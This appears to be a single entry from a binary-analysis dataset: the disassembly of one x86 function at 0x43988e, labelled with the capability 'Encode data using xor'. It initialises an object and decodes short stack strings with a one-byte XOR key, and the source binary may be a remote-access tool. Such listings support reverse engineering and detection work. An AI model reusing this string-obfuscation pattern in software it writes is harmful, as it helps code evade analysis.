Function at 0x43988e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xcc
push ebx
push esi
mov ebx, ecx
push edi
mov edi, ebx
call 0x420e5f
mov eax, dword [ebp + 8]
xor edi, edi
lea esi, [ebx + 0xfc]
mov dword [ebx], 0x407248
mov dword [ebx + 0xd8], edi
mov dword [ebx + 0xdc], edi
mov dword [ebx + 0xe0], eax
mov dword [ebx + 0xe4], edi
mov dword [ebx + 0xe8], edi
mov dword [ebx + 0xec], edi
mov dword [ebx + 0xf0], edi
mov dword [ebx + 0xf4], edi
call fcn.00424fc8
lea esi, [ebx + 0x100]
call fcn.00424fc8
lea esi, [ebx + 0x104]
call fcn.00424fc8
lea esi, [ebx + 0x108]
call fcn.00424fc8
lea esi, [ebx + 0x10c]
call fcn.00424fc8
lea esi, [ebx + 0x110]
call fcn.00424fc8
lea esi, [ebx + 0x114]
call fcn.00424fc8
lea esi, [ebx + 0x190]
mov dword [ebx + 0x118], edi
mov dword [ebx + 0x150], edi
mov dword [ebx + 0x154], edi
mov dword [ebx + 0x158], edi
mov dword [ebx + 0x15c], edi
mov dword [ebx + 0x160], edi
mov dword [ebx + 0x164], edi
mov dword [ebx + 0x168], edi
mov dword [ebx + 0x16c], edi
mov dword [ebx + 0x170], edi
mov dword [ebx + 0x174], edi
mov dword [ebx + 0x178], edi
mov dword [ebx + 0x17c], edi
mov dword [ebx + 0x180], edi
mov dword [ebx + 0x184], edi
call fcn.0043c1af
lea edi, [ebx + 0x1fc]
call fcn.0043227a
lea edi, [ebx + 0x220]
call 0x4201fa
lea edi, [ebx + 0x248]
call fcn.0040d242
xor ecx, ecx
mov dword [ebx + 0x290], ecx
mov dword [ebx + 0x28c], ecx
mov dword [ebx + 0x294], ecx
mov dword [ebx + 0x298], ecx
mov byte [ebx + 0x29c], cl
lea edi, [ebx + 0x2b4]
mov dword [ebx + 0x2a4], ecx
mov dword [ebx + 0x2a0], ecx
mov dword [ebx + 0x2a8], ecx
mov dword [ebx + 0x2ac], ecx
mov byte [ebx + 0x2b0], cl
call fcn.0043c5cf
lea edi, [ebx + 0x2d8]
call 0x40e66d
lea esi, [ebx + 0x360]
call fcn.0040d412
lea eax, [ebx + 0x30]
push eax
call fcn.0042743f
pop ecx
lea eax, [ebx + 0x48]
push eax
call fcn.0042743f
pop ecx
lea eax, [ebx + 0x60]
push eax
call fcn.0042743f
pop ecx
lea eax, [ebx + 0x78]
push eax
call fcn.0042743f
pop ecx
lea eax, [ebx + 0x90]
push eax
call fcn.0042743f
pop ecx
lea eax, [ebx + 0xa8]
push eax
call fcn.0042743f
pop ecx
lea eax, [ebx + 0x36c]
push eax
call fcn.0042743f
pop ecx
lea eax, [ebx + 0xc0]
push eax
call fcn.0042743f
pop ecx
call fcn.0043858a
test eax, eax
je 0x439dae
cmp dword [ebp + 8], 1
je 0x439dae
push 0
call fcn.0043b6d4
mov dword [ebx + 0x11c], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x58]
call fcn.0043b6d4
mov dword [ebx + 0x120], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x5c]
call fcn.0043b6d4
mov dword [ebx + 0x124], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x60]
call fcn.0043b6d4
mov dword [ebx + 0x128], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x64]
call fcn.0043b6d4
mov dword [ebx + 0x12c], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x68]
call fcn.0043b6d4
pop ecx
push 0
mov dword [ebx + 0x130], eax
call fcn.0043b6d4
mov dword [ebx + 0x134], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x6c]
call fcn.0043b6d4
mov dword [ebx + 0x138], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x70]
call fcn.0043b6d4
mov dword [ebx + 0x13c], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x74]
call fcn.0043b6d4
mov dword [ebx + 0x140], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x78]
call fcn.0043b6d4
mov dword [ebx + 0x144], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x7c]
call fcn.0043b6d4
mov dword [ebx + 0x148], eax
mov eax, dword [0x448688]
pop ecx
push dword [eax + 0x80]
call fcn.0043b6d4
pop ecx
push ebx
mov dword [ebx + 0x14c], eax
call fcn.00444768
mov eax, dword [0x448688]
mov eax, dword [eax + 0x13c]
push 2
pop esi
cmp eax, esi
je 0x439bac
cmp eax, 3
je 0x439bac
mov eax, dword [0x44842c]
cmp eax, esi
je 0x439bac
cmp eax, 3
jne 0x439bd6
push ebx
push 0x41b290
call fcn.00428fa0
push ebx
push 0x41b81c
mov dword [ebx + 0x154], eax
call fcn.00428fa0
mov dword [ebx + 0x158], eax
mov eax, dword [0x44842c]
add esp, 0x10
cmp eax, esi
je 0x439c32
cmp eax, 3
je 0x439c32
push ebx
push 0x41a6fc
call fcn.00428fa0
cmp dword [0x44842c], 1
pop ecx
pop ecx
jne 0x439c25
mov eax, dword [0x448688]
lea ecx, [eax + 0x9c]
push ecx
add eax, 0x98
push eax
call fcn.00434f2c
push ebx
push 0x41d224
call fcn.00428fa0
add esp, 0x10
mov dword [ebx + 0x168], eax
jmp 0x439d1c
push 1
push ebx
call fcn.0043952e
jmp 0x439d1c
mov ecx, 0x11060d0a
mov dword [esp + 0x28], 0x63636304
mov dword [esp + 0x18], 0x46431046
mov dword [esp + 0x1c], 0x100a4310
mov dword [esp + 0x20], 0x2171043
mov dword [esp + 0x24], 0xd0a1711
mov byte [esp + 0x29], 0x63
mov dword [esp + 0x98], 0x4160f33
mov dword [esp + 0x9c], ecx
mov byte [esp + 0xa0], 0x63
mov dword [esp + 0x58], 0x43202d35
mov dword [esp + 0x5c], 0x4160f13
mov dword [esp + 0x60], ecx
mov byte [esp + 0x64], 0x63
cmp eax, esi
jne 0x439cb9
mov byte [esp + 0x98], 0x50
lea eax, [esp + 0x98]
inc eax
xor byte [eax], 0x63
jne 0x439caa
lea edx, [esp + 0x98]
jmp 0x439ccc
mov byte [esp + 0x58], 0x56
lea eax, [esp + 0x58]
inc eax
xor byte [eax], 0x63
jne 0x439cc2
lea edx, [esp + 0x58]
mov eax, dword [0x448688]
mov ecx, dword [eax + 0x24]
mov byte [esp + 0x18], 0x25
lea eax, [esp + 0x18]
inc eax
xor byte [eax], 0x63
jne 0x439cdd
push ecx
push edx
lea eax, [esp + 0x20]
push eax
lea esi, [esp + 0x1c]
call fcn.00424fc8
call fcn.0042549a
add esp, 0xc
push eax
mov ecx, ebx
call fcn.0043f967
call fcn.00424fe3
mov eax, ebx
call fcn.004365e6
push ebx
push 0x41cfc7
call fcn.00428fa0
pop ecx
pop ecx
push ebx
push 0x41cdf5
call fcn.00428fa0
mov dword [ebx + 0x164], eax
lea eax, [esp + 0x18]
push eax
mov eax, 0x407218
call fcn.0043e85b
add esp, 0xc
push dword [eax]
mov eax, dword [0x448688]
add eax, 0x24
xor esi, esi
call 0x424de0
cmp eax, 0xffffffff
lea esi, [esp + 0x10]
setne byte [esp + 0xf]
call fcn.00424fe3
cmp byte [esp + 0xf], 0
je 0x439dae
lea eax, [esp + 0x14]
push eax
mov eax, 0x407230
call fcn.0043e85b
mov esi, dword [eax]
pop ecx
call fcn.0042965a
push eax
push esi
lea esi, [esp + 0x18]
call fcn.00424fc8
call fcn.0042549a
pop ecx
pop ecx
push eax
mov ecx, ebx
call fcn.0043f967
call fcn.00424fe3
lea esi, [esp + 0x14]
call fcn.00424fe3
mov eax, ebx
call fcn.004365e6
mov eax, dword [0x448688]
pop edi
mov dword [eax + 0x12c], ebx
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4